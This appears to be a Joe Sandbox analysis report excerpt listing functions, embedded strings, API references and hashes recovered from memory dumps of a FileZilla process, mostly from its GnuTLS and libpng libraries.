priority.c, xrefs: 00007FF81FA0CBA0, 00007FF81FA0D0B1, 00007FF81FA0D0FB, 00007FF81FA0D122, 00007FF81FA0D2C2, 00007FF81FA0D2EB, 00007FF81FA0D33A, 00007FF81FA0D41A, 00007FF81FA0D4B5, 00007FF81FA0D5D3, 00007FF81FA0D682, 00007FF81FA0D6B8, 00007FF81FA0D76A, 00007FF81FA0D878, 00007FF81FA0DA52
cfg_sigs_set_arrays, xrefs: 00007FF81FA0D5CC
cfg: deferred setting system-wide priority string, xrefs: 00007FF81FA0D467, 00007FF81FA0D4DA
cfg_apply, xrefs: 00007FF81FA0D2E4
_cfg_sigs_remark, xrefs: 00007FF81FA0D40E
cfg: unable to parse: %s: %d, xrefs: 00007FF81FA0D8A4
cfg: unable to rewind: %s, xrefs: 00007FF81FA0D8EE
_cfg_hashes_remark, xrefs: 00007FF81FA0D2B6
cfg: loaded system config %s mtime %lld, xrefs: 00007FF81FA0D048
cfg_ecc_curves_set_array, xrefs: 00007FF81FA0DA4B
cfg: unable to access: %s: %d, xrefs: 00007FF81FA0D315
cfg: unable to construct system-wide priority string: %s, xrefs: 00007FF81FA0D998
cfg: unable to open: %s: %d, xrefs: 00007FF81FA0D15D
cfg: finalized system-wide priority string, xrefs: 00007FF81FA0D18F, 00007FF81FA0D1EA
NONE, xrefs: 00007FF81FA0C8A0, 00007FF81FA0CAB8
cfg_hashes_set_array, xrefs: 00007FF81FA0D333

Memory Dump Source

Source File: 0000000D.00000002.2605152304.00007FF81F9F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FF81F9F0000, based on PE: true

Associated: 0000000D.00000002.2605126700.00007FF81F9F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605321781.00007FF81FB1F000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605377466.00007FF81FB20000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605400386.00007FF81FB21000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB22000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB86000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605646288.00007FF81FBEC000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605675186.00007FF81FBF9000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605712647.00007FF81FBFA000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605737638.00007FF81FBFB000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605766159.00007FF81FC01000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff81f9f0000_filezilla.jbxd

Similarity

API ID: CriticalFileSectionstrchr$CreateEnterFindFirstLeaveexitfclosememcpystrlen
String ID: ASSERT: %s[%s]:%d$NONE$_cfg_ecc_curves_remark$_cfg_hashes_remark$_cfg_sigs_remark$_cfg_versions_remark$_gnutls_update_system_priorities$cfg: deferred setting system-wide priority string$cfg: finalized system-wide priority string$cfg: loaded system config %s mtime %lld$cfg: system priority %s has not changed$cfg: unable to access: %s: %d$cfg: unable to build priority string: %s$cfg: unable to construct system-wide priority string: %s$cfg: unable to open: %s: %d$cfg: unable to parse: %s: %d$cfg: unable to rewind: %s$cfg_apply$cfg_ecc_curves_set_array$cfg_hashes_set_array$cfg_sigs_set_arrays$cfg_versions_set_array$priority.c
API String ID: 2912142560-2232640267
Opcode ID: db64e0496965615fed4a56bd415da6007ff327e2a1ed076bf03265e309e68801
Instruction ID: 824880a31bf2662c6d76056c7557a9deb4ad2b9772948f4f512cb23d92c9282e
Opcode Fuzzy Hash: db64e0496965615fed4a56bd415da6007ff327e2a1ed076bf03265e309e68801
Instruction Fuzzy Hash: 03A24732A08E8686FB249B10F4267BA67A1BF457E8F804336DA4E536D6DF3CE505C741

Function 00007FF81FA5AFD0 Relevance: 47.7, APIs: 23, Strings: 4, Instructions: 413
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strlen.MSVCRT ref: 00007FF81FA5B00C
memcpy.MSVCRT ref: 00007FF81FA5B0CA
CreateFileA.KERNEL32 ref: 00007FF81FA5B0FE
strchr.MSVCRT ref: 00007FF81FA5B14B
strchr.MSVCRT ref: 00007FF81FA5B161
FindFirstFileA.KERNEL32 ref: 00007FF81FA5B179
_stricmp.MSVCRT ref: 00007FF81FA5B21D
strlen.MSVCRT ref: 00007FF81FA5B252
_errno.MSVCRT ref: 00007FF81FA5B306
_errno.MSVCRT ref: 00007FF81FA5B323
_errno.MSVCRT ref: 00007FF81FA5B32F
FindClose.KERNEL32 ref: 00007FF81FA5B4D1

Strings

exe, xrefs: 00007FF81FA5B208
cmd, xrefs: 00007FF81FA5B5C9
com, xrefs: 00007FF81FA5B5DE
bat, xrefs: 00007FF81FA5B5B4

Memory Dump Source

Source File: 0000000D.00000002.2605152304.00007FF81F9F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FF81F9F0000, based on PE: true

Associated: 0000000D.00000002.2605126700.00007FF81F9F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605321781.00007FF81FB1F000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605377466.00007FF81FB20000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605400386.00007FF81FB21000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB22000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB86000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605646288.00007FF81FBEC000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605675186.00007FF81FBF9000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605712647.00007FF81FBFA000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605737638.00007FF81FBFB000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605766159.00007FF81FC01000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff81f9f0000_filezilla.jbxd

Similarity

API ID: _errno$FileFindstrchrstrlen$CloseCreateFirst_stricmpmemcpy
String ID: bat$cmd$com$exe
API String ID: 3096319950-1165206306
Opcode ID: 4bfcbef4afe8787d214f60d868e8a8cd63b7cc276cd45054c40a1912395b2a8c
Instruction ID: a843649b963743000f16f5837269b4cc602df5cc77d7bb8c403162e8dc3bdb59
Opcode Fuzzy Hash: 4bfcbef4afe8787d214f60d868e8a8cd63b7cc276cd45054c40a1912395b2a8c
Instruction Fuzzy Hash: 83F1F221A08E4685FA748B25A4563BE2697AF057FEF4C4331DA5F076F1DE3CE8468B00

Function 6153DD60 Relevance: 28.4, APIs: 1, Strings: 17, Instructions: 1406COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6153DEAF

Strings

unknown interlace type, xrefs: 6153EF26, 6153F269
png_image_read: alpha channel lost, xrefs: 6153E6BC
bad adaptive filter value, xrefs: 6153E23B
png_read_update_info/png_start_read_image: duplicate call, xrefs: 6153E4FE, 6153F3E1
bad color-map processing (internal error), xrefs: 6153F321
unexpected alpha swap transformation, xrefs: 6153E707
lost/gained channels, xrefs: 6153EF44
internal sequential row size calculation error, xrefs: 6153DFB8
unexpected bit depth, xrefs: 6153EF71
Invalid attempt to read row data, xrefs: 6153E22C
png_read_image: invalid transformations, xrefs: 6153E89B
unexpected 8-bit transformation, xrefs: 6153EF35
bKGD, xrefs: 6153E4CD, 6153F2C3
png_read_image: unsupported transformation, xrefs: 6153E8AA
sequential row overflow, xrefs: 6153E24A
unexpected compose, xrefs: 6153EF53
lost rgb to gray, xrefs: 6153EF62

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: memcpy
String ID: Invalid attempt to read row data$bKGD$bad adaptive filter value$bad color-map processing (internal error)$internal sequential row size calculation error$lost rgb to gray$lost/gained channels$png_image_read: alpha channel lost$png_read_image: invalid transformations$png_read_image: unsupported transformation$png_read_update_info/png_start_read_image: duplicate call$sequential row overflow$unexpected 8-bit transformation$unexpected alpha swap transformation$unexpected bit depth$unexpected compose$unknown interlace type
API String ID: 3510742995-1425845005
Opcode ID: a89f0f66994dccee0b5e4075f5554e1e5fc4d032a80b5156b3ef5be339af80db
Instruction ID: 3ee5400887e3e10315007343c2c3901074212221cc02defdbf0f288ccf6c4cf6
Opcode Fuzzy Hash: a89f0f66994dccee0b5e4075f5554e1e5fc4d032a80b5156b3ef5be339af80db
Instruction Fuzzy Hash: 1CB245736196A486E705CF2AE444B6EFBA1F3C5B84F84D106EE5A47B94EB3DD841CB00

Function 00007FF81FA03830 Relevance: 25.0, APIs: 1, Strings: 13, Instructions: 538COMMON

Download Yara Rule

Strings

_gnutls_buffer_init_mbuffer, xrefs: 00007FF81FA054C4
send_client_hello, xrefs: 00007FF81FA05001, 00007FF81FA051D2, 00007FF81FA0524C, 00007FF81FA054F0, 00007FF81FA055B2, 00007FF81FA0576C
handshake.c, xrefs: 00007FF81FA05008, 00007FF81FA051B2, 00007FF81FA051D9, 00007FF81FA05253, 00007FF81FA054FF, 00007FF81FA0555B, 00007FF81FA055B9, 00007FF81FA0565F, 00007FF81FA056DD, 00007FF81FA05773
mbuffers.h, xrefs: 00007FF81FA055DC
buf->length >= sizeof(mbuffer_st) + header_size, xrefs: 00007FF81FA055E3
append_null_comp, xrefs: 00007FF81FA05554
*, xrefs: 00007FF81FA0568D
ASSERT: %s[%s]:%d, xrefs: 00007FF81FA05014, 00007FF81FA0519F, 00007FF81FA0525F, 00007FF81FA054BD, 00007FF81FA05567, 00007FF81FA055C5, 00007FF81FA0564C, 00007FF81FA056CA, 00007FF81FA0577F
handshake_client, xrefs: 00007FF81FA056D6
_gnutls_generate_session_id, xrefs: 00007FF81FA05653
HSK[%p]: Adv. version: %u.%u, xrefs: 00007FF81FA0534A
mbuffers.h, xrefs: 00007FF81FA054D0
_gnutls_gen_client_random, xrefs: 00007FF81FA051A6

Memory Dump Source

Source File: 0000000D.00000002.2605152304.00007FF81F9F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FF81F9F0000, based on PE: true

Associated: 0000000D.00000002.2605126700.00007FF81F9F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605321781.00007FF81FB1F000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605377466.00007FF81FB20000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605400386.00007FF81FB21000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB22000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB86000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605646288.00007FF81FBEC000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605675186.00007FF81FBF9000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605712647.00007FF81FBFA000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605737638.00007FF81FBFB000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605766159.00007FF81FC01000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff81f9f0000_filezilla.jbxd

Similarity

API ID:
String ID: *$ASSERT: %s[%s]:%d$HSK[%p]: Adv. version: %u.%u$_gnutls_buffer_init_mbuffer$_gnutls_gen_client_random$_gnutls_generate_session_id$append_null_comp$buf->length >= sizeof(mbuffer_st) + header_size$handshake.c$handshake_client$mbuffers.h$mbuffers.h$send_client_hello
API String ID: 0-1736872240
Opcode ID: d22fbcb8e14db7cf12c102782bef6c7f588b413d282af09c2d63413b730006a0
Instruction ID: 9d34f93af4cd9645526f1e505f812a90829d175209107b9862478aa266eb0568
Opcode Fuzzy Hash: d22fbcb8e14db7cf12c102782bef6c7f588b413d282af09c2d63413b730006a0
Instruction Fuzzy Hash: 22429B72A08E9386F7249B11E41ABBA2BA1FF857E8F444335DA8E066D5DF3CE144C741

Function 6153C8B0 Relevance: 24.6, APIs: 1, Strings: 15, Instructions: 572
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

gray+alpha color-map: too few entries, xrefs: 6153DBBC
gray[8] color-map: too few entries, xrefs: 6153DB8F
rgb[ga] color-map: too few entries, xrefs: 6153DB71
rgb[gray] color-map: too few entries, xrefs: 6153D6BB
ga-alpha color-map: too few entries, xrefs: 6153DB9E
palette color-map: too few entries, xrefs: 6153DB2B
bad background index (internal error), xrefs: 6153D2AC
bad data option (internal error), xrefs: 6153DB58
gray[16] color-map: too few entries, xrefs: 6153DBAD
rgb color-map: too few entries, xrefs: 6153DB0D
rgb-alpha color-map: too few entries, xrefs: 6153DB80
background color must be supplied to remove alpha/transparency, xrefs: 6153DB49
color map overflow (BAD internal error), xrefs: 6153DAFE
rgb+alpha color-map: too few entries, xrefs: 6153DB1C
gray-alpha color-map: too few entries, xrefs: 6153DB3A

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID:
String ID: background color must be supplied to remove alpha/transparency$bad background index (internal error)$bad data option (internal error)$color map overflow (BAD internal error)$ga-alpha color-map: too few entries$gray+alpha color-map: too few entries$gray-alpha color-map: too few entries$gray[16] color-map: too few entries$gray[8] color-map: too few entries$palette color-map: too few entries$rgb color-map: too few entries$rgb+alpha color-map: too few entries$rgb-alpha color-map: too few entries$rgb[ga] color-map: too few entries$rgb[gray] color-map: too few entries
API String ID: 0-2327909259
Opcode ID: bcd928319be819a9b8e0b43cac42957daf4a7fa9b1420513b74338437e2669de
Instruction ID: 378961b94d89a9eebb6064a545f56bc3942ca14d1874f860cef3511df5cc274b
Opcode Fuzzy Hash: bcd928319be819a9b8e0b43cac42957daf4a7fa9b1420513b74338437e2669de
Instruction Fuzzy Hash: CD2235726186A186E760CF69E09475EFBB1F3C4B88F80D116DE8547BA8EBBDC544CB40

Function 00007FF81F9F25A0 Relevance: 35.6, APIs: 1, Strings: 22, Instructions: 1056COMMON

Download Yara Rule

Strings

ASSERT: %s[%s]:%d, xrefs: 00007FF81F9F2BAF, 00007FF81F9F2CFB, 00007FF81F9F2DD2, 00007FF81F9F33CE, 00007FF81F9F365C, 00007FF81F9F38C9, 00007FF81F9F3958, 00007FF81F9F399A, 00007FF81F9F39E6, 00007FF81F9F3B2B, 00007FF81F9F3C13, 00007FF81F9F3C3F, 00007FF81F9F3CEB, 00007FF81F9F3F04, 00007FF81F9F3F87, 00007FF81F9F3FBE, 00007FF81F9F40EB, 00007FF81F9F4226, 00007FF81F9F42DB, 00007FF81F9F43C2, 00007FF81F9F452C, 00007FF81F9F4550, 00007FF81F9F478D, 00007FF81F9F4842
Session timeout: %u ms, xrefs: 00007FF81F9F44D4
REC[%p]: Expected Packet %s(%d), xrefs: 00007FF81F9F3D74
recv_headers, xrefs: 00007FF81F9F2B9C, 00007FF81F9F2CE8, 00007FF81F9F3764, 00007FF81F9F3BFB
_gnutls_recv_in_buffers, xrefs: 00007FF81F9F2DBF, 00007FF81F9F33BB, 00007FF81F9F3649, 00007FF81F9F3987, 00007FF81F9F39CE, 00007FF81F9F3B18, 00007FF81F9F3C2C, 00007FF81F9F3CD8, 00007FF81F9F3EF1, 00007FF81F9F3FAB, 00007FF81F9F40D8, 00007FF81F9F4213, 00007FF81F9F477A
record_add_to_buffers, xrefs: 00007FF81F9F38D0, 00007FF81F9F3A0E, 00007FF81F9F3F74, 00007FF81F9F43AF, 00007FF81F9F4519, 00007FF81F9F482F
REC[%p]: INVALID VERSION PACKET: (%d) %d.%d, xrefs: 00007FF81F9F458C
REC[%p]: max_early_data_size exceeded, xrefs: 00007FF81F9F3A88
REC[%p]: Received Packet %s(%d) with length: %d, xrefs: 00007FF81F9F3DB4
REC[%p]: Alert[%d|%d] - %s - was received, xrefs: 00007FF81F9F4494
REC[%p]: Discarded early data[%lu] due to invalid decryption, length: %u, xrefs: 00007FF81F9F47E4
record_check_version, xrefs: 00007FF81F9F4557
recv_hello_request, xrefs: 00007FF81F9F394A
REC[%p]: Decrypted Packet[%u.%lu] %s(%d) with length: %d, xrefs: 00007FF81F9F32DE
REC[%p]: SSL %d.%d %s packet received. Epoch %d, length: %d, xrefs: 00007FF81F9F3416
Received packet with illegal length: %u (max: %u), xrefs: 00007FF81F9F2C81
check_recv_type, xrefs: 00007FF81F9F42C8
Discarded message[%lu] due to invalid decryption, xrefs: 00007FF81F9F31F1
record.c, xrefs: 00007FF81F9F2BA3, 00007FF81F9F2CEF, 00007FF81F9F2DC6, 00007FF81F9F33C2, 00007FF81F9F3650, 00007FF81F9F376B, 00007FF81F9F38DC, 00007FF81F9F3951, 00007FF81F9F398E, 00007FF81F9F39DF, 00007FF81F9F3B1F, 00007FF81F9F3C0C, 00007FF81F9F3C33, 00007FF81F9F3CDF, 00007FF81F9F3EF8, 00007FF81F9F3F7B, 00007FF81F9F3FB2, 00007FF81F9F40DF, 00007FF81F9F421A, 00007FF81F9F42CF, 00007FF81F9F43B6, 00007FF81F9F4520, 00007FF81F9F4563, 00007FF81F9F4781, 00007FF81F9F4836
Received record packet of unknown type %u, xrefs: 00007FF81F9F3BD9
REC[%p]: Received unexpected packet %d (%s) expecting %d (%s), xrefs: 00007FF81F9F435A
Received packet with illegal length: %u, xrefs: 00007FF81F9F37F3

Memory Dump Source

Source File: 0000000D.00000002.2605152304.00007FF81F9F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FF81F9F0000, based on PE: true

Associated: 0000000D.00000002.2605126700.00007FF81F9F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605321781.00007FF81FB1F000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605377466.00007FF81FB20000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605400386.00007FF81FB21000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB22000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB86000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605646288.00007FF81FBEC000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605675186.00007FF81FBF9000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605712647.00007FF81FBFA000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605737638.00007FF81FBFB000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605766159.00007FF81FC01000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff81f9f0000_filezilla.jbxd

Similarity

API ID:
String ID: ASSERT: %s[%s]:%d$Discarded message[%lu] due to invalid decryption$REC[%p]: Alert[%d|%d] - %s - was received$REC[%p]: Decrypted Packet[%u.%lu] %s(%d) with length: %d$REC[%p]: Discarded early data[%lu] due to invalid decryption, length: %u$REC[%p]: Expected Packet %s(%d)$REC[%p]: INVALID VERSION PACKET: (%d) %d.%d$REC[%p]: Received Packet %s(%d) with length: %d$REC[%p]: Received unexpected packet %d (%s) expecting %d (%s)$REC[%p]: SSL %d.%d %s packet received. Epoch %d, length: %d$REC[%p]: max_early_data_size exceeded$Received packet with illegal length: %u$Received packet with illegal length: %u (max: %u)$Received record packet of unknown type %u$Session timeout: %u ms$_gnutls_recv_in_buffers$check_recv_type$record.c$record_add_to_buffers$record_check_version$recv_headers$recv_hello_request
API String ID: 0-2033214465
Opcode ID: 68fb0bce1e2875820bcc46cf9258d196e9c08262f939d39b3a5bec4a59133d3b
Instruction ID: a61e2503eacb079011990cad9dec4e7d7f7d985e95b54fb8f1572fe6e3e2633e
Opcode Fuzzy Hash: 68fb0bce1e2875820bcc46cf9258d196e9c08262f939d39b3a5bec4a59133d3b
Instruction Fuzzy Hash: 0AB27B71A0CA8286F774AB24E4487BA7BA1FB457E4F404336DA9D426D9DF3CE544CB01

Function 00007FF81FA1BDB0 Relevance: 28.3, APIs: 5, Strings: 11, Instructions: 259
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.MSVCRT ref: 00007FF81FA1BE4A
memcpy.MSVCRT ref: 00007FF81FA1BF01
_wassert.MSVCRT ref: 00007FF81FB1DCE4
atoi.MSVCRT ref: 00007FF81FB1DD19
atoi.MSVCRT ref: 00007FF81FB1DD40

Strings

_gnutls_encode_ber_rs_raw, xrefs: 00007FF81FA1C01A, 00007FF81FA1C050, 00007FF81FA1C088, 00007FF81FA1C0C8, 00007FF81FA1C0F4
tmp, xrefs: 00007FF81FB1DCDD
GNUTLS_NO_IMPLICIT_INIT, xrefs: 00007FF81FB1DD05
GNUTLS_NO_EXPLICIT_INIT is deprecated; use GNUTLS_NO_IMPLICIT_INIT, xrefs: 00007FF81FB1DD94
U, xrefs: 00007FF81FA1C0EC
Error in GnuTLS initialization: %s, xrefs: 00007FF81FB1DD76
pk.c, xrefs: 00007FF81FA1C02A, 00007FF81FA1C060, 00007FF81FA1C098, 00007FF81FA1C0CF, 00007FF81FA1C0FB
GNUTLS_NO_EXPLICIT_INIT, xrefs: 00007FF81FB1DD23
pk.c, xrefs: 00007FF81FB1DCD6
ASSERT: %s[%s]:%d, xrefs: 00007FF81FA1C039, 00007FF81FA1C06F, 00007FF81FA1C0A7, 00007FF81FA1C0DB, 00007FF81FA1C107
GNUTLS.DSASignatureValue, xrefs: 00007FF81FA1BDD4

Memory Dump Source

Source File: 0000000D.00000002.2605152304.00007FF81F9F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FF81F9F0000, based on PE: true

Associated: 0000000D.00000002.2605126700.00007FF81F9F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605321781.00007FF81FB1F000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605377466.00007FF81FB20000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605400386.00007FF81FB21000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB22000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB86000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605646288.00007FF81FBEC000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605675186.00007FF81FBF9000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605712647.00007FF81FBFA000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605737638.00007FF81FBFB000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605766159.00007FF81FC01000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff81f9f0000_filezilla.jbxd

Similarity

API ID: atoimemcpy$_wassert
String ID: ASSERT: %s[%s]:%d$Error in GnuTLS initialization: %s$GNUTLS.DSASignatureValue$GNUTLS_NO_EXPLICIT_INIT$GNUTLS_NO_EXPLICIT_INIT is deprecated; use GNUTLS_NO_IMPLICIT_INIT$GNUTLS_NO_IMPLICIT_INIT$U$_gnutls_encode_ber_rs_raw$pk.c$pk.c$tmp
API String ID: 3676400509-2120467188
Opcode ID: af6ed447d104581705fc2f1c751640b9a07cd73151dd21fe6de0fd24713f8f1d
Instruction ID: 1480041552f158d29876d38e10a44a9031b8df67dd5035992e9bc1d9c987c9fe
Opcode Fuzzy Hash: af6ed447d104581705fc2f1c751640b9a07cd73151dd21fe6de0fd24713f8f1d
Instruction Fuzzy Hash: EEB18AB5B0CE4686FB219B25E8562B92762AF487E8F844332EA0D473A1DF3DF504C741

Function 00007FF81F9FCC90 Relevance: 25.1, APIs: 1, Strings: 13, Instructions: 603COMMON

Download Yara Rule

Strings

READ: %d returned from %p, errno=%d gerrno=%d, xrefs: 00007FF81F9FD532
READ: %d returned from %p, errno=%d, xrefs: 00007FF81F9FD5BC
READ: returning %d bytes from %p, xrefs: 00007FF81F9FD2A4
buffers.c, xrefs: 00007FF81F9FD1B7, 00007FF81F9FD23F, 00007FF81F9FD428, 00007FF81F9FD4A0, 00007FF81F9FD584, 00007FF81F9FD5E1, 00007FF81F9FD60D, 00007FF81F9FD639, 00007FF81F9FD68F, 00007FF81F9FD6C2, 00007FF81F9FD6FA, 00007FF81F9FD726, 00007FF81F9FD752, 00007FF81F9FD786
ASSERT: %s[%s]:%d, xrefs: 00007FF81F9FD1C3, 00007FF81F9FD24B, 00007FF81F9FD437, 00007FF81F9FD4AC, 00007FF81F9FD590, 00007FF81F9FD5ED, 00007FF81F9FD619, 00007FF81F9FD645, 00007FF81F9FD69B, 00007FF81F9FD6CE, 00007FF81F9FD706, 00007FF81F9FD732, 00007FF81F9FD75E, 00007FF81F9FD792
_gnutls_stream_read, xrefs: 00007FF81F9FD418, 00007FF81F9FD5DA, 00007FF81F9FD632, 00007FF81F9FD77F
RB: Requested %d bytes, xrefs: 00007FF81F9FD3F1
READ: Got %d bytes from %p, xrefs: 00007FF81F9FCF8D, 00007FF81F9FD4D4
_gnutls_io_read_buffered, xrefs: 00007FF81F9FD1B0, 00007FF81F9FD238, 00007FF81F9FD606, 00007FF81F9FD71F, 00007FF81F9FD74B
READ: read %d bytes from %p, xrefs: 00007FF81F9FD0D0, 00007FF81F9FD20F, 00007FF81F9FD2CC
errno_to_gerr, xrefs: 00007FF81F9FD6F3
RB: Have %d bytes into buffer. Adding %d bytes., xrefs: 00007FF81F9FD3D8
_gnutls_dgram_read, xrefs: 00007FF81F9FD499, 00007FF81F9FD57D, 00007FF81F9FD688, 00007FF81F9FD6BB

Memory Dump Source

Source File: 0000000D.00000002.2605152304.00007FF81F9F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FF81F9F0000, based on PE: true

Associated: 0000000D.00000002.2605126700.00007FF81F9F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605321781.00007FF81FB1F000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605377466.00007FF81FB20000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605400386.00007FF81FB21000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB22000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB86000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605646288.00007FF81FBEC000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605675186.00007FF81FBF9000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605712647.00007FF81FBFA000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605737638.00007FF81FBFB000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605766159.00007FF81FC01000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff81f9f0000_filezilla.jbxd

Similarity

API ID:
String ID: ASSERT: %s[%s]:%d$RB: Have %d bytes into buffer. Adding %d bytes.$RB: Requested %d bytes$READ: %d returned from %p, errno=%d$READ: %d returned from %p, errno=%d gerrno=%d$READ: Got %d bytes from %p$READ: read %d bytes from %p$READ: returning %d bytes from %p$_gnutls_dgram_read$_gnutls_io_read_buffered$_gnutls_stream_read$buffers.c$errno_to_gerr
API String ID: 0-4134111394
Opcode ID: 787e26429827939e3335ceaa2a58221048e2649563a2846530c8aed2a6d9f690
